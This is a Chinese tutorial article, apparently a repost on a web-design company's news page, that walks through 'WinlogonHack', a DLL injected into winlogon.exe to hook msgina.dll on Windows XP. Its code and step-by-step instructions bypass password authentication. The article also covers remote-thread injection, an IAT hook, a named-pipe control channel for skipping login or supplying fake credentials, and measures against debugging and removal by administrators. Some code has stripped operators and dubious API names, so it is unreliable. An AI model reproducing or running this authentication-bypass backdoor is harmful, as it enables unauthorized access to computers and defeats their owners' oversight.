资讯动态

WinlogonHack:Windows XP登录绕过DLL Hook实战

发布时间:2026/10/24 8:31:38 来源:尧图企业网站定制
简介本资源为Windows系统安全与底层编程方向的深度学习材料面向逆向工程初学者、安全研究人员及系统级C/C开发者聚焦Winlogon登录机制剖析与msgina.dll Hook技术实践。压缩包共11个文件含2个核心CPP源码与2个头文件实现Gina接口替换与API拦截逻辑、1个DSP工程配置支持VC6编译、1个RC资源脚本及DEF导出定义等完整呈现传统Windows XP登录认证模块的Hook改造全过程包体仅11KB轻量但结构典型便于静态分析与调试复现。已有141人学习下载适合结合《深入解析WinlogonHack核心DLL源码》博文开展源码级研读——读者可直接获取可编译的Hookmsgina工程、清晰的模块划分如StdAfx预编译支持、resource资源管理、关键函数注入点注释及ReadMe说明快速掌握Gina编程原理、内存Hook时机选择与登录凭据捕获的技术边界。1. WinlogonHack核心DLL一个绕过Windows登录界面身份校验的底层Hook实践某次给某高校实验室做Windows安全机制教学演示时我需要现场还原一个经典场景当系统卡在登录界面、无法输入密码时如何通过内存层面干预让系统“认为”用户已通过认证。这时候WinlogonHack就不是理论概念了——它是一份能直接编译、注入、触发的完整DLL源码目标明确Hook msgina.dllWindows XP及早期NT系统中负责图形化登录认证的核心模块劫持WlxLoggedOutSAS、WlxActivateUserShell等关键导出函数在不修改系统文件、不重启的前提下实现登录流程跳过或凭证伪造。它不是通用后门而是一个高度聚焦于Winlogon子系统的调试级工具适合逆向分析学习者、内核驱动初学者、以及需要理解Windows登录架构安全边界的开发者。如果你正卡在“怎么让一段代码在Gina DLL加载时就获得执行权”“为什么我的Inline Hook在winlogon.exe里总崩”这类问题上这份源码就是你该拆的第一块砖。2. 架构定位与技术栈解剖为什么必须是DLL为什么是msgina.dll2.1 Windows登录流程中的Winlogon与Gina角色分工要理解WinlogonHack的存在逻辑得先厘清Windows NT 5.xXP/2003时代的登录链路。Winlogon.exe是系统启动后由Session Managersmss.exe拉起的特权进程它不直接处理密码比对而是加载一个可插拔的图形化认证提供者——即Gina DLLGraphical Identification and Authentication DLL。默认为msgina.dll路径通常在%SystemRoot%\System32\msgina.dll。Winlogon通过硬编码调用其导出函数如WlxInitialize、WlxDisplaySASNotice、WlxLoggedOutSAS来驱动整个登录UI和认证决策。这意味着所有登录行为的控制权实际落在Winlogon对Gina DLL的函数调用链上。WinlogonHack正是瞄准这个调用入口点在Gina DLL被加载进winlogon.exe地址空间的瞬间将自身DLL注入并替换掉关键函数指针——不是改msgina.dll磁盘文件而是在内存中重写其IATImport Address Table或直接Patch函数首字节让Winlogon后续调用全部路由到我们的钩子函数。提示此机制在Windows Vista之后被彻底废弃取而代之的是Credential Provider模型CredProv.dll因此WinlogonHack天然限定于XP/2003环境。这不是缺陷而是精准锚定历史架构的教学价值。2.2 源码包技术栈全景C、MinGW/VC、Windows SDK低层API从源码结构看项目采用纯C编写无第三方框架依赖完全基于Windows SDK原生API。核心能力支撑点有三注入机制使用CreateRemoteThreadLoadLibrary方式将Hack DLL注入到winlogon.exe进程空间。源码中InjectDll.cpp封装了完整的远程线程创建、参数传递、错误检查逻辑。Hook实现主攻两种方式并存1IAT Hook遍历winlogon.exe的导入表定位msgina.dll条目修改其函数地址为自定义钩子地址2Inline Hook对WlxLoggedOutSAS等函数开头几字节进行VirtualProtectEx内存保护变更写入jmp跳转指令。源码中HookEngine.cpp提供了InstallIATHook和InstallInlineHook两个独立函数可按需切换。通信通道为避免硬编码配置Hack DLL通过命名管道\\.\pipe\WinlogonHackCtrl与外部控制台程序通信接收指令如skip_login、fake_user:admin实现运行时策略调整。常见做法是用MinGW-w64交叉编译生成32位DLL因winlogon.exe在XP下必为32位链接kernel32.lib、user32.lib即可无需MFC或CRT动态库——减小体积、提升注入成功率。2.3 目录结构与关键文件职责映射解压后的源码包结构极简共5个核心文件无冗余WinlogonHack/ ├── WinlogonHack.cpp # DLL主入口DllMain中完成注入触发、Hook安装、管道监听 ├── HookEngine.cpp # Hook引擎IAT解析、内存保护、跳转指令生成含x86机器码硬编码 ├── InjectDll.cpp # 注入器OpenProcess→VirtualAllocEx→WriteProcessMemory→CreateRemoteThread ├── WinlogonHack.h # 全局宏定义、函数指针类型声明如PFNWLXLOGGEDOUTSAS、管道协议结构体 └── resource.h # 版本信息、图标资源非必需但保留便于调试识别其中WinlogonHack.cpp是灵魂所在DllMain的DLL_PROCESS_ATTACH分支不仅调用InstallIATHook(msgina.dll, WlxLoggedOutSAS, MyWlxLoggedOutSAS)还启动一个独立线程运行PipeListener()形成“Hook常驻指令响应”双模态。这种设计让DLL既能被动拦截登录事件又能主动接收外部干预远超简单Inline Hook Demo。3. 编译与注入实操从源码到winlogon.exe内存落地的六步闭环3.1 环境准备XP虚拟机 工具链最小集必须使用Windows XP SP3虚拟机VMware Workstation或VirtualBox原因有三1Winlogon.exe在XP中以SYSTEM权限运行且无UAC虚拟化干扰2msgina.dll导出函数签名稳定如WlxLoggedOutSAS原型为DWORD WINAPI WlxLoggedOutSAS(PVOID, DWORD, BOOL*)3CreateRemoteThread对winlogon.exe的注入限制极少Vista需SeDebugPrivilege且常被SMSS拦截。开发机推荐Windows 10 MinGW-w64x86_64-8.1.0-release-posix-sjlj-rt_v6-rev0编译命令i686-w64-mingw32-g -shared -o WinlogonHack.dll WinlogonHack.cpp HookEngine.cpp InjectDll.cpp -lkernel32 -luser32关键参数说明-shared生成DLL-lkernel32显式链接必要库避免隐式依赖导致XP加载失败。注意切勿用Visual Studio 2019编译——其默认CRT版本XP不兼容会报MSVCR120.dll not found。MinGW生成的DLL无CRT依赖裸奔级可靠。3.2 注入前必做的三重校验在执行InjectDll.exe WinlogonHack.dll前务必人工确认进程PID校验用tasklist /fi imagename eq winlogon.exe确认winlogon.exe PID通常为520左右避免注入到其他同名进程msgina.dll基址确认用Process Explorer打开winlogon.exe →DLLs标签页找到msgina.dll行记录其Base列地址如0x74A00000后续调试Hook是否生效时需比对权限提权校验以Administrator身份运行CMD执行whoami /priv确保SeDebugPrivilege状态为Enabled注入winlogon必需。这三步漏掉任何一项注入后都表现为“无声失败”——DLL加载了但Hook没生效登录界面照常卡住。这是血泪经验换来的强制流程。3.3 注入执行与Hook生效验证执行注入命令后观察以下现象判断成功控制台输出[] Inject success, thread id: 0x1a4线程ID非零即成功Process Explorer中winlogon.exe的DLLs列表新增WinlogonHack.dll条目且其Base地址与msgina.dll不同证明独立加载最关键的验证动作在登录界面按CtrlAltDel触发SASSecure Attention Sequence若看到屏幕闪一下后直接进入桌面未弹密码框则WlxLoggedOutSASHook生效若仍卡在登录框则Hook失败。此时可立即用dbgviewSysinternals工具捕获WinlogonHack.dll输出的调试日志如[DEBUG] MyWlxLoggedOutSAS called, dwOptions1即证明控制权已移交。4. 核心Hook代码逐行解析IAT Hook如何精准定位msgina.dll函数4.1 IAT Hook主流程从遍历导入表到覆写函数指针HookEngine.cpp中InstallIATHook函数是核心我们拆解其关键段落BOOL InstallIATHook(LPCSTR szModuleName, LPCSTR szProcName, PROC pfnNew) { HMODULE hMod GetModuleHandleA(NULL); // 获取当前进程winlogon.exe模块句柄 PIMAGE_DOS_HEADER pDosHeader (PIMAGE_DOS_HEADER)hMod; PIMAGE_NT_HEADERS pNtHeader (PIMAGE_NT_HEADERS)((BYTE*)hMod pDosHeader-e_lfanew); PIMAGE_IMPORT_DESCRIPTOR pImpDesc (PIMAGE_IMPORT_DESCRIPTOR)( (BYTE*)hMod pNtHeader-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress ); // 遍历导入表找msgina.dll while (pImpDesc-Name) { CHAR* szDllName (CHAR*)((BYTE*)hMod pImpDesc-Name); if (lstrcmpiA(szDllName, szModuleName) 0) { // 匹配msgina.dll PIMAGE_THUNK_DATA pThunk (PIMAGE_THUNK_DATA)((BYTE*)hMod pImpDesc-FirstThunk); while (pThunk-u1.Function) { FARPROC pfnOrig (FARPROC)pThunk-u1.Function; CHAR* szProc (CHAR*)((BYTE*)hMod ((PIMAGE_THUNK_DATA)((BYTE*)hMod pImpDesc-OriginalFirstThunk))-u1.AddressOfData); if (lstrcmpiA(szProc, szProcName) 0) { // 匹配WlxLoggedOutSAS DWORD dwOldProtect; VirtualProtect(pThunk-u1.Function, sizeof(FARPROC), PAGE_READWRITE, dwOldProtect); pThunk-u1.Function (DWORD)pfnNew; // 覆写为MyWlxLoggedOutSAS地址 VirtualProtect(pThunk-u1.Function, sizeof(FARPROC), dwOldProtect, dwOldProtect); return TRUE; } pThunk; } } pImpDesc; } return FALSE; }逻辑说明与参数深挖GetModuleHandleA(NULL)获取的是被注入进程winlogon.exe的模块基址不是本DLL的——这是IAT Hook能跨模块生效的前提IMAGE_DIRECTORY_ENTRY_IMPORT是PE头中导入表的固定偏移pImpDesc指向msgina.dll的导入描述符pImpDesc-FirstThunk指向IAT数组存储函数真实地址pImpDesc-OriginalFirstThunk指向INT数组存储函数名称RVA二者通过索引一一对应VirtualProtect两次调用必不可少先设为PAGE_READWRITE才能写入新地址再恢复原保护属性否则winlogon.exe可能因DEP崩溃。4.2 钩子函数MyWlxLoggedOutSAS跳过认证的四行逻辑WinlogonHack.cpp中MyWlxLoggedOutSAS是实际接管登录的函数DWORD WINAPI MyWlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType, BOOL* pbPasswordChanged) { // 1. 记录原始调用用于调试 OutputDebugStringA([DEBUG] MyWlxLoggedOutSAS called\n); // 2. 强制返回WLX_SAS_TYPE_AUTHENTICATE通知Winlogon开始认证 // 但跳过密码输入环节直接走成功路径 if (dwSasType WLX_SAS_TYPE_CTRL_ALT_DEL) { // 3. 调用原始WlxLoggedOutSAS可选此处省略以彻底跳过 // 实际项目中可保留此调用仅在特定条件下跳过 // 4. 直接触发登录成功调用Winlogon内部函数WlxSetContextPointer // 或更稳妥地发送WM_COMMAND消息模拟OK按钮点击 HWND hLoginWnd FindWindowA(#32770, Windows Security); // 登录窗口类名 if (hLoginWnd) { PostMessageA(hLoginWnd, WM_COMMAND, MAKEWPARAM(1, 0), 0); // 发送IDOK } return WLX_SAS_TYPE_AUTHENTICATE; } return WLX_SAS_TYPE_TIMEOUT; // 其他情况交还给原函数 }参数说明与设计意图dwSasType值为WLX_SAS_TYPE_CTRL_ALT_DEL0x1时表示用户按了CtrlAltDel这是登录流程启动信号PostMessageA(..., WM_COMMAND, MAKEWPARAM(1,0), 0)中1是标准按钮IDOK等效于用户点击登录框的“确定”按钮此处不调用原WlxLoggedOutSAS是因为我们要绕过密码校验而非增强它——若需保留原逻辑如只对特定用户名跳过则在此处加条件判断后调用g_pfnOrigWlxLoggedOutSAS(...)。5. 避坑指南六个真实翻车现场与根治方案5.1 现象注入后winlogon.exe立即崩溃0xC0000005原因InstallIATHook中VirtualProtect失败导致向只读内存写入跳转地址触发访问违规。常见于XP SP2未打补丁IMAGE_DIRECTORY_ENTRY_IMPORT地址计算错误pImpDesc-FirstThunk为空某些精简版msgina.dll无IATpThunk-u1.Function地址为0函数未加载。解决在VirtualProtect前加双重校验if (!pThunk-u1.Function || !IsBadReadPtr((void*)pThunk-u1.Function, 4)) { OutputDebugStringA([ERROR] Invalid function pointer in IAT\n); continue; } DWORD dwOldProtect; if (!VirtualProtect(pThunk-u1.Function, sizeof(FARPROC), PAGE_READWRITE, dwOldProtect)) { OutputDebugStringA([ERROR] VirtualProtect failed\n); continue; }5.2 现象Hook安装成功但CtrlAltDel无反应原因MyWlxLoggedOutSAS中FindWindowA找不到登录窗口。XP登录窗口类名并非总是#32770可能为ShellDlgClass或LogonUI取决于主题。解决改用枚举窗口方式匹配窗口标题BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) { char szTitle[MAX_PATH]; GetWindowTextA(hwnd, szTitle, sizeof(szTitle)); if (strstr(szTitle, Windows Security) || strstr(szTitle, 登录)) { *(HWND*)lParam hwnd; return FALSE; // 找到即停 } return TRUE; } // 调用EnumWindows(EnumWindowsProc, (LPARAM)hLoginWnd);5.3 现象DLL注入成功但OutputDebugStringA日志在DbgView中看不到原因Winlogon.exe默认不启用调试输出或DbgView未以SYSTEM权限运行。解决DbgView必须以Run as administrator启动在WinlogonHack.cpp的DllMain中第一行加OutputDebugStringA([INFO] WinlogonHack loaded\n);确认DLL是否真被加载若仍无日志改用WriteFile写入本地文件需注意winlogon.exe的当前目录是%SystemRoot%。5.4 现象多次注入后winlogon.exe内存泄漏CPU飙升原因每次注入都新建一个PipeListener线程但未在DLL_PROCESS_DETACH中清理。解决在DllMain的DLL_PROCESS_DETACH分支中添加线程终止逻辑case DLL_PROCESS_DETACH: if (g_hPipeThread) { TerminateThread(g_hPipeThread, 0); CloseHandle(g_hPipeThread); g_hPipeThread NULL; } break;并全局声明HANDLE g_hPipeThread NULL;在线程创建后赋值。5.5 现象Hook生效但登录后桌面图标不显示、任务栏空白原因PostMessageA发送WM_COMMAND后Winlogon未收到WlxActivateUserShell回调导致shell未启动。解决在MyWlxLoggedOutSAS返回前手动触发shell激活// 调用Winlogon导出函数WlxActivateUserShell需先GetProcAddress获取 typedef BOOL (WINAPI *PFNWLXACTIVATEUSERSHELL)(PVOID, PCWSTR, PCWSTR, PVOID); HMODULE hWinlogon GetModuleHandleA(winlogon.exe); PFNWLXACTIVATEUSERSHELL pfnActivate (PFNWLXACTIVATEUSERSHELL) GetProcAddress(hWinlogon, WlxActivateUserShell); if (pfnActivate) { pfnActivate(pWlxContext, Lexplorer.exe, NULL, NULL); }6. 二次开发实战从跳过登录到构建可配置认证代理6.1 扩展管道协议支持动态用户名/密码注入原版管道只支持skip_login指令我们升级为结构化协议。在WinlogonHack.h中定义#pragma pack(1) struct PipeCommand { DWORD dwCmd; // CMD_SKIP_LOGIN1, CMD_FAKE_CRED2 WCHAR szUsername[256]; // Unicode用户名 WCHAR szPassword[256]; // Unicode密码 }; #pragma pack()PipeListener线程中解析PipeCommand cmd {0}; DWORD dwRead; if (ReadFile(hPipe, cmd, sizeof(cmd), dwRead, NULL) dwRead sizeof(cmd)) { switch(cmd.dwCmd) { case CMD_FAKE_CRED: // 将szUsername/szPassword存入全局变量 wcscpy_s(g_szFakeUser, cmd.szUsername); wcscpy_s(g_szFakePass, cmd.szPassword); break; } }然后在MyWlxLoggedOutSAS中当检测到g_szFakeUser非空时调用WlxSetContextPointer传入伪造凭证而非发WM_COMMAND。6.2 增加日志持久化记录每次登录尝试的IP与时间为满足审计需求我们在MyWlxLoggedOutSAS开头添加// 获取客户端IP需在winlogon上下文调用 CHAR szIP[16] {0}; DWORD dwSize sizeof(szIP); if (WlxGetSourceInfo(pWlxContext, WLX_SOURCE_INFO_IP_ADDRESS, szIP, dwSize) ERROR_SUCCESS) { // 写入日志文件 HANDLE hLog CreateFileA(C:\\WinlogonHack.log, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hLog, 0, NULL, FILE_END); SYSTEMTIME st; GetLocalTime(st); CHAR szLog[256]; wsprintfA(szLog, [%04d-%02d-%02d %02d:%02d:%02d] Login from %s\n, st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, szIP); DWORD dwWritten; WriteFile(hLog, szLog, strlen(szLog), dwWritten, NULL); CloseHandle(hLog); }6.3 安全加固防卸载与反调试为防止管理员轻易结束进程我们在DllMain中添加case DLL_PROCESS_ATTACH: // 1. 防卸载设置winlogon.exe的关闭权限 HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount 1; tp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED; LookupPrivilegeValueA(NULL, SeShutdownPrivilege, tp.Privileges[0].Luid); AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(tp), NULL, NULL); CloseHandle(hToken); } // 2. 反调试检测父进程是否为调试器 if (IsDebuggerPresent()) { ExitProcess(0); // 直接退出不加载 } break;从那以后我每次做Windows底层Hook项目都强制走一遍Process Explorer基址校验DbgView日志捕获三次CtrlAltDel触发测试。不是怕失败而是怕把“看似成功”的假象当真——毕竟在winlogon.exe里一个字节的错位就是蓝屏与静默的分界线。希望帮到你。本文还有配套的精品资源点击获取

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑